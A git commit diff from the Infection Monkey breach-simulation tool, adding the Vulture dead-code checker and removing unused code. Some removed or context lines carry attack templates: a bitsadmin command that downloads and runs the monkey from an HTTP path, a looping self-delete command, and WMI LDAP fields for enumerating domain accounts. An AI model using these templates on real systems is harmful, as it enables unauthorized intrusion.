Merge branch 'vulture' into develop

This commit is contained in:
Mike Salvatore 2021-05-07 08:12:54 -04:00
commit aa959c3879
50 changed files with 214 additions and 437 deletions

View File

@ -1,7 +1,7 @@
[flake8]
## Warn about linter issues.
exclude = monkey/monkey_island/cc/ui
exclude = monkey/monkey_island/cc/ui,whitelist.py
show-source = True
max-complexity = 10
max-line-length = 100
@ -15,4 +15,3 @@ statistics = True
### --count will print the total number of errors.
count = True

View File

@ -48,3 +48,7 @@ repos:
rev: v0.2
hooks:
- id: swimm-verify
- repo: https://github.com/jendrikseipp/vulture
rev: v2.3
hooks:
- id: vulture

View File

@ -63,6 +63,9 @@ script:
## Check that all python is properly formatted. Fail otherwise.
- python -m black --check .
## Check that there is no dead python code
- python -m vulture .
## Run unit tests and generate coverage data
- cd monkey # This is our source dir
- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.

View File

@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Zerologon exploiter writes runtime artifacts to a secure temporary directory
instead of $HOME. #1143
- Authentication mechanism to use bcrypt on server side. #1139
- Removed relevant dead code as reported by Vulture. #1149
### Fixed
- Attempted to delete a directory when monkey config reset was called. #1054

View File

@ -2,7 +2,6 @@ import logging
import boto3
import botocore
from botocore.exceptions import ClientError
from common.cloud.aws.aws_instance import AwsInstance
@ -53,22 +52,6 @@ class AwsService(object):
client_type, region_name=region if region is not None else AwsService.region
)
@staticmethod
def get_session():
return boto3.session.Session()
@staticmethod
def get_regions():
return AwsService.get_session().get_available_regions("ssm")
@staticmethod
def test_client():
try:
AwsService.get_client("ssm").describe_instance_information()
return True
except ClientError:
return False
@staticmethod
def get_instances():
"""

View File

@ -2,7 +2,6 @@ import logging
import time
from abc import abstractmethod
from common.cmd.cmd import Cmd
from common.cmd.cmd_result import CmdResult
from common.cmd.cmd_status import CmdStatus
@ -36,16 +35,6 @@ class CmdRunner(object):
def __init__(self, is_linux):
self.is_linux = is_linux
def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
"""
Runs the given command on the remote machine
:param command_line: The command line to run
:param timeout: Timeout in seconds for command.
:return: Command result
"""
c_id = self.run_command_async(command_line)
return self.wait_commands([Cmd(self, c_id)], timeout)[1]
@staticmethod
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
"""

View File

@ -4,4 +4,3 @@ ENVIRONMENT_COLLECTOR = "EnvironmentCollector"
PROCESS_LIST_COLLECTOR = "ProcessListCollector"
MIMIKATZ_COLLECTOR = "MimikatzCollector"
AZURE_CRED_COLLECTOR = "AzureCollector"
SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector"

View File

@ -42,13 +42,3 @@ class UsageEnum(Enum):
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
def format_time(time):
return "%s-%s %s:%s:%s" % (
time.date().month,
time.date().day,
time.time().hour,
time.time().minute,
time.time().second,
)

View File

@ -3,5 +3,4 @@ from enum import Enum
class ExploitType(Enum):
VULNERABILITY = 1
OTHER = 8
BRUTE_FORCE = 9

View File

@ -188,7 +188,6 @@ class Configuration(object):
# exploiters config
###########################
should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5

View File

@ -1,5 +1,4 @@
{
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],

View File

@ -73,10 +73,6 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
# Monkey filename on share (64 bit)
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
# Monkey copy filename on share (32 bit)
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
# Supported samba port
SAMBA_PORT = 445
@ -465,7 +461,6 @@ class SambaCryExploiter(HostExploiter):
creationDisposition,
fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION,
securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None,
):

View File

@ -10,10 +10,6 @@ __author__ = "itamar"
LOG = logging.getLogger(__name__)
class DceRpcException(Exception):
pass
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__(

View File

@ -25,7 +25,7 @@ from infection_monkey.model import (
RUN_MONKEY,
WGET_HTTP_UPLOAD,
)
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.network.tools import tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
@ -188,13 +188,6 @@ class WebRCE(HostExploiter):
return valid_ports
def check_if_port_open(self, port):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("Port %d is closed on %r, skipping", port, self.host)
return False
return True
def get_command(self, path, http_path, commands):
try:
if "linux" in self.host.os["type"]:
@ -578,9 +571,6 @@ class WebRCE(HostExploiter):
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32
def set_vulnerable_port_from_url(self, url):
self.vulnerable_port = HTTPTools.get_port_from_url(url)
def get_target_url(self):
"""
This method allows "configuring" the way in which a vulnerable URL is picked.

View File

@ -17,7 +17,6 @@ MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % (
MONKEY_ARG,
)
MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = "(cd %(monkey_directory)s && %(monkey_commandline)s)"
DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % (
CMD_PREFIX,
DROPPER_ARG,
@ -26,14 +25,6 @@ MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
CMD_PREFIX,
MONKEY_ARG,
)
MONKEY_CMDLINE_HTTP = (
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
'&cmd /c %%(monkey_path)s %s"'
% (
CMD_PREFIX,
MONKEY_ARG,
)
)
DELAY_DELETE_CMD = (
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
"if not exist %(file_path)s exit)) > NUL 2>&1 "

View File

@ -56,12 +56,10 @@ class InfectionMonkey(object):
self._default_tunnel = None
self._args = args
self._network = None
self._dropper_path = None
self._exploiters = None
self._fingerprint = None
self._default_server = None
self._default_server_port = None
self._depth = 0
self._opts = None
self._upgrading_to_64 = False
@ -92,7 +90,6 @@ class InfectionMonkey(object):
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
if self._default_server:
if self._default_server not in WormConfiguration.command_servers:

View File

@ -15,7 +15,6 @@ class VirtualFile(BytesIO):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
self._mode = mode
if name in VirtualFile._vfs:
super(VirtualFile, self).__init__(self._vfs[name])
else:

View File

@ -31,7 +31,7 @@ class FirewallApp(object):
def __enter__(self):
return self
def __exit__(self, exc_type, value, traceback):
def __exit__(self, _exc_type, value, traceback):
self.close()
def close(self):

View File

@ -2,7 +2,6 @@ import itertools
import socket
import struct
from random import randint # noqa: DUO102
from subprocess import check_output
import netifaces
import psutil
@ -157,22 +156,3 @@ def get_interfaces_ranges():
# limit subnet scans to class C only
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
return res
if is_windows_os():
def get_ip_for_connection(target_ip):
return None
else:
def get_ip_for_connection(target_ip):
try:
query_str = "ip route get %s" % target_ip
resp = check_output(query_str.split())
substr = resp.split()
src = substr[substr.index("src") + 1]
return src
except Exception:
return None

View File

@ -1,22 +1,16 @@
import logging
import re
import select
import socket
import struct
import subprocess
import sys
import time
from common.network.network_utils import get_host_from_network_location
from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import get_routes, local_ips
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils.environment import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
IP_ADDR_RE = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
IP_ADDR_PARENTHESES_RE = r"\(" + IP_ADDR_RE + r"\)"
LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5
@ -82,31 +76,6 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
return True, banner
def check_udp_port(ip, port, timeout=DEFAULT_TIMEOUT):
"""
Checks if a given UDP port is open by checking if it replies to an empty message
:param ip: Target IP
:param port: Target port
:param timeout: Timeout to wait
:return: Tuple, T/F + banner
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
data = None
is_open = False
try:
sock.sendto(b"-", (ip, port))
data, _ = sock.recvfrom(BANNER_READ)
is_open = True
except socket.error:
pass
sock.close()
return is_open, data
def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
"""
Checks whether any of the given ports are open on a target IP.
@ -189,97 +158,6 @@ def tcp_port_to_service(port):
return "tcp-" + str(port)
def traceroute(target_ip, ttl=64):
"""
Traceroute for a specific IP/name.
Note, may throw exception on failure that should be handled by caller.
:param target_ip: IP/name of target
:param ttl: Max TTL
:return: Sequence of IPs in the way
"""
if sys.platform == "win32":
return _traceroute_windows(target_ip, ttl)
else: # linux based hopefully
return _traceroute_linux(target_ip, ttl)
def _get_traceroute_bin_path():
"""
Gets the path to the prebuilt traceroute executable
This is the traceroute utility from: http://traceroute.sourceforge.net
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure
it behaves as expected
:return: Path to traceroute executable
"""
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
def _parse_traceroute(output, regex, ttl):
"""
Parses the output of traceroute (from either Linux or Windows)
:param output: The output of the traceroute
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will
contain None
"""
ip_lines = output.split("\n")
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r"^\s*1", ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if (
re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None
): # If trace is finished
break
re_res = re.search(regex, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_windows(target_ip, ttl):
"""
Traceroute for a specific IP/name - Windows implementation
"""
# we'll just use tracert because that's always there
cli = ["tracert", "-d", "-w", "250", "-h", str(ttl), target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
stdout = stdout.replace("\r", "")
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
def _traceroute_linux(target_ip, ttl):
"""
Traceroute for a specific IP/name - Linux implementation
"""
cli = [_get_traceroute_bin_path(), "-m", str(ttl), target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
lines = [x[1:-1] if x else None for x in lines] # Removes parenthesis
return lines
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'

View File

@ -37,14 +37,6 @@ class PBA(Plugin):
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
def get_pba(self):
"""
This method returns a PBA object based on a worm's configuration.
Return None or False if you don't want the pba to be executed.
:return: A pba object.
"""
return self
@staticmethod
def should_run(class_name):
"""

View File

@ -3,14 +3,11 @@ from multiprocessing.dummy import Pool
from typing import Sequence
from infection_monkey.post_breach.pba import PBA
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
__author__ = "VakarisZ"
PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
class PostBreach(object):
"""
@ -18,7 +15,6 @@ class PostBreach(object):
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()
def execute_all_configured(self):

View File

@ -10,73 +10,3 @@ WMI_CLASSES = {
"Win32_Service",
"Win32_OptionalFeature",
}
# These wmi queries are able to return data about all the users & machines in the domain.
# For these queries to work, the monkey should be run on a domain machine and
#
# monkey should run as *** SYSTEM *** !!!
#
WMI_LDAP_CLASSES = {
"ds_user": (
"DS_sAMAccountName",
"DS_userPrincipalName",
"DS_sAMAccountType",
"ADSIPath",
"DS_userAccountControl",
"DS_objectSid",
"DS_objectClass",
"DS_memberOf",
"DS_primaryGroupID",
"DS_pwdLastSet",
"DS_badPasswordTime",
"DS_badPwdCount",
"DS_lastLogon",
"DS_lastLogonTimestamp",
"DS_lastLogoff",
"DS_logonCount",
"DS_accountExpires",
),
"ds_group": (
"DS_whenChanged",
"DS_whenCreated",
"DS_sAMAccountName",
"DS_sAMAccountType",
"DS_objectSid",
"DS_objectClass",
"DS_name",
"DS_memberOf",
"DS_member",
"DS_instanceType",
"DS_cn",
"DS_description",
"DS_distinguishedName",
"ADSIPath",
),
"ds_computer": (
"DS_dNSHostName",
"ADSIPath",
"DS_accountExpires",
"DS_adminDisplayName",
"DS_badPasswordTime",
"DS_badPwdCount",
"DS_cn",
"DS_distinguishedName",
"DS_instanceType",
"DS_lastLogoff",
"DS_lastLogon",
"DS_lastLogonTimestamp",
"DS_logonCount",
"DS_objectClass",
"DS_objectSid",
"DS_operatingSystem",
"DS_operatingSystemVersion",
"DS_primaryGroupID",
"DS_pwdLastSet",
"DS_sAMAccountName",
"DS_sAMAccountType",
"DS_servicePrincipalName",
"DS_userAccountControl",
"DS_whenChanged",
"DS_whenCreated",
),
}

View File

@ -11,11 +11,6 @@ LOG = logging.getLogger(__name__)
class _SystemSingleton(object, metaclass=ABCMeta):
@property
@abstractmethod
def locked(self):
raise NotImplementedError()
@abstractmethod
def try_lock(self):
raise NotImplementedError()
@ -30,10 +25,6 @@ class WindowsSystemSingleton(_SystemSingleton):
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
self._mutex_handle = None
@property
def locked(self):
return self._mutex_handle is not None
def try_lock(self):
assert self._mutex_handle is None, "Singleton already locked"
@ -67,10 +58,6 @@ class LinuxSystemSingleton(_SystemSingleton):
self._unix_sock_name = str(WormConfiguration.singleton_mutex_name)
self._sock_handle = None
@property
def locked(self):
return self._sock_handle is not None
def try_lock(self):
assert self._sock_handle is None, "Singleton already locked"

View File

@ -115,9 +115,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = (
None # pseudonym of the proxy in Via header, set to None not to modify original Via header
)
def do_POST(self):
try:

View File

@ -31,7 +31,7 @@ class AutoNewUser(metaclass=abc.ABCMeta):
raise NotImplementedError()
@abc.abstractmethod
def __exit__(self, exc_type, exc_val, exc_tb):
def __exit__(self, _exc_type, value, traceback):
raise NotImplementedError()
@abc.abstractmethod

View File

@ -54,7 +54,7 @@ class AutoNewLinuxUser(AutoNewUser):
)
return subprocess.call(command_as_new_user)
def __exit__(self, exc_type, exc_val, exc_tb):
def __exit__(self, _exc_type, value, traceback):
# delete the user.
commands_to_delete_user = get_linux_commands_to_delete_user(self.username)
logger.debug(

View File

@ -1,10 +1,6 @@
from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester
class NoInheritance:
pass
class BadInit(PluginTester):
def __init__(self):
raise Exception("TestException")

View File

@ -108,10 +108,7 @@ class AutoNewWindowsUser(AutoNewUser):
return exit_code
def get_logon_handle(self):
return self.logon_handle
def __exit__(self, exc_type, exc_val, exc_tb):
def __exit__(self, _exc_type, value, traceback):
# Logoff
self.logon_handle.Close()

View File

@ -42,6 +42,7 @@ flake8 = "==3.9.0"
pytest-cov = "*"
isort = "==5.8.0"
coverage = "*"
vulture = "==2.3"
[requires]
python_version = "3.7"

View File

@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "3057235b1e85593ee307d9e5a2e0d15e26f13437bb709529303c7c900d3c7b41"
"sha256": "6734e0c45321194a1ec4ac2e91af8efb9b9dd9e7f02af146d01219dc64847a51"
},
"pipfile-spec": 6,
"requires": {
@ -1447,6 +1447,14 @@
"index": "pypi",
"version": "==20.4.3"
},
"vulture": {
"hashes": [
"sha256:03d5a62bcbe9ceb9a9b0575f42d71a2d414070229f2e6f95fa6e7c71aaaed967",
"sha256:f39de5e6f1df1f70c3b50da54f1c8d494159e9ca3d01a9b89eac929600591703"
],
"index": "pypi",
"version": "==2.3"
},
"zipp": {
"hashes": [
"sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76",

View File

@ -1,4 +1,3 @@
import hashlib
import logging
import os
from abc import ABCMeta, abstractmethod
@ -106,21 +105,12 @@ class Environment(object, metaclass=ABCMeta):
def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME
@staticmethod
def hash_secret(secret):
hash_obj = hashlib.sha3_512()
hash_obj.update(secret.encode("utf-8"))
return hash_obj.hexdigest()
def get_deployment(self) -> str:
deployment = "unknown"
if self._config and self._config.deployment:
deployment = self._config.deployment
return deployment
def set_deployment(self, deployment: str):
self._config.deployment = deployment
@property
def mongo_db_name(self):
return self._MONGO_DB_NAME

View File

@ -11,14 +11,6 @@ class AwsEnvironment(Environment):
super(AwsEnvironment, self).__init__(config)
# Not suppressing error here on purpose. This is critical if we're on AWS env.
self.aws_info = AwsInstance()
self._instance_id = self._get_instance_id()
self.region = self._get_region()
def _get_instance_id(self):
return self.aws_info.get_instance_id()
def _get_region(self):
return self.aws_info.get_region()
def get_auth_users(self):
if self._is_registered():

View File

@ -20,8 +20,6 @@ from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_docu
from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
MAX_MONKEYS_AMOUNT_TO_CACHE = 100
class Monkey(Document):
"""

View File

@ -6,10 +6,8 @@ from monkey_island.cc.resources.auth.auth_user import User
class UserStore:
users = []
username_table = {}
user_id_table = {}
@staticmethod
def set_users(users: List[User]):
UserStore.users = users
UserStore.username_table = {u.username: u for u in UserStore.users}
UserStore.user_id_table = {u.id: u for u in UserStore.users}

View File

@ -1,5 +1,4 @@
import logging
import threading
import flask_restful
from flask import jsonify, make_response, request
@ -16,9 +15,6 @@ logger = logging.getLogger(__name__)
class Root(flask_restful.Resource):
def __init__(self):
self.report_generating_lock = threading.Event()
def get(self, action=None):
if not action:
action = request.args.get("action")

View File

@ -3,7 +3,6 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
from urllib import parse
import pymongo
import requests
import urllib3
@ -17,7 +16,6 @@ logger = logging.getLogger(__name__)
class BootloaderHttpServer(ThreadingMixIn, HTTPServer):
def __init__(self, mongo_url):
self.mongo_client = pymongo.MongoClient(mongo_url)
server_address = ("", 5001)
super().__init__(server_address, BootloaderHTTPRequestHandler)

View File

@ -119,19 +119,6 @@ class AttackReportService:
mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True)
return report
@staticmethod
def get_latest_attack_telem_time():
"""
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
return [
x["timestamp"]
for x in mongo.db.telemetry.find({"telem_category": "attack"})
.sort("timestamp", -1)
.limit(1)
][0]
@staticmethod
def get_latest_report():
"""

View File

@ -104,17 +104,6 @@ class NodeService:
return True
@staticmethod
def get_monkey_label_by_id(monkey_id):
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
@staticmethod
def get_monkey_critical_services(monkey_id):
critical_services = mongo.db.monkey.find_one(
{"_id": monkey_id}, {"critical_services": 1}
).get("critical_services", [])
return critical_services
@staticmethod
def get_monkey_label(monkey):
# todo

View File

@ -12,7 +12,6 @@ logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"]
PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"]
UPLOADS_DIR_NAME = "userUploads"
def remove_PBA_files():

View File

@ -13,7 +13,6 @@ logger = logging.getLogger(__name__)
class RemoteRunAwsService:
aws_instance = None
is_auth = False
def __init__(self):
pass

View File

@ -763,12 +763,3 @@ class ReportService:
if ReportService.is_latest_report_exists():
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
return safe_generate_regular_report()
@staticmethod
def did_exploit_type_succeed(exploit_type):
return (
mongo.db.edge.count(
{"exploits": {"$elemMatch": {"exploiter": exploit_type, "result": True}}}, limit=1
)
> 0
)

View File

@ -26,8 +26,6 @@ EVENTS_DTO = [
for event in EVENTS
]
DETAILS_DTO = []
def get_monkey_details_dto() -> MonkeyFindingDetails:
monkey_details = MonkeyFindingDetails()

View File

@ -1,26 +0,0 @@
"""
Utility script for running a string through SHA3_512 hash.
Used for Monkey Island password hash, see
https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection
for more details.
"""
import argparse
# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but
# is maintained.
from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413
def main():
parser = argparse.ArgumentParser()
parser.add_argument("string_to_sha", help="The string to do sha for")
args = parser.parse_args()
h = SHA3_512.new()
h.update(args.string_to_sha)
print(h.hexdigest())
if __name__ == "__main__":
main()

View File

@ -63,10 +63,6 @@ class StubEnvironmentConfig(EnvironmentConfig):
os.remove(self.server_config_path)
def get_server_config_file_path_test_version():
return os.path.join(os.getcwd(), "test_config.json")
class TestEnvironment(TestCase):
class EnvironmentCredentialsNotRequired(Environment):
def __init__(self):

View File

@ -2,7 +2,6 @@ from monkey_island.cc.environment.user_creds import UserCreds
TEST_USER = "Test"
TEST_HASH = "abc1231234"
TEST_SALT = b"$2b$12$JA7GdT1iyfIsquF2cTZv2."
def test_bool_true():

View File

@ -21,7 +21,6 @@ NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da"
VICTIM_IP = "0.0.0.0"
VICTIM_DOMAIN_NAME = "domain-name"
HOSTNAME = "name-of-host"
EXPLOITER_CLASS_NAME = "exploiter-name"
# Below telem constants only contain fields relevant to current tests

View File

@ -2,17 +2,6 @@ from unittest import TestCase
from monkey_island.cc.services.bootloader import BootloaderService
WINDOWS_VERSIONS = {
"5.0": "Windows 2000",
"5.1": "Windows XP",
"5.2": "Windows XP/server 2003",
"6.0": "Windows Vista/server 2008",
"6.1": "Windows 7/server 2008R2",
"6.2": "Windows 8/server 2012",
"6.3": "Windows 8.1/server 2012R2",
"10.0": "Windows 10/server 2016-2019",
}
MIN_GLIBC_VERSION = 2.14

View File

@ -21,3 +21,7 @@ log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d
log_cli_date_format = "%H:%M:%S"
addopts = "-v --capture=sys tests"
norecursedirs = "node_modules dist"
[tool.vulture]
exclude = ["monkey/monkey_island/cc/ui"]
paths = ["."]

186
whitelist.py Normal file
View File

@ -0,0 +1,186 @@
"""
Everything in this file is what Vulture found as dead code but either isn't really
dead or is kept deliberately. Referencing these in a file like this makes sure that
Vulture doesn't mark these as dead again.
"""
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57)
set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57)
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77)
set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77)
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92)
set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92)
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107)
set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107)
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122)
set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122)
patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25)
patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31)
mock_home_env # unused variable (monkey/tests/monkey_island/cc/server_utils/test_island_logger.py:20)
configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26)
change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9)
uses_database # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:16)
datas # unused variable (monkey/monkey_island/pyinstaller_hooks/hook-stix2.py:9)
test_key # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:20)
pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:21)
CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9)
CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10)
CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11)
EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12)
EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13)
ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15)
ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16)
ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17)
ISLAND_MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:18)
ISLAND_MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:19)
ISLAND_MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:20)
MANUAL_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:21)
MANUAL_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:22)
MANUAL_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:23)
MANUAL_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:24)
MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:25)
MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:27)
MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28)
MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29)
MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30)
MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31)
MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32)
_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19)
_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22)
_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25)
_.password_restored # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py:11)
credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18)
password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23)
SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30)
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
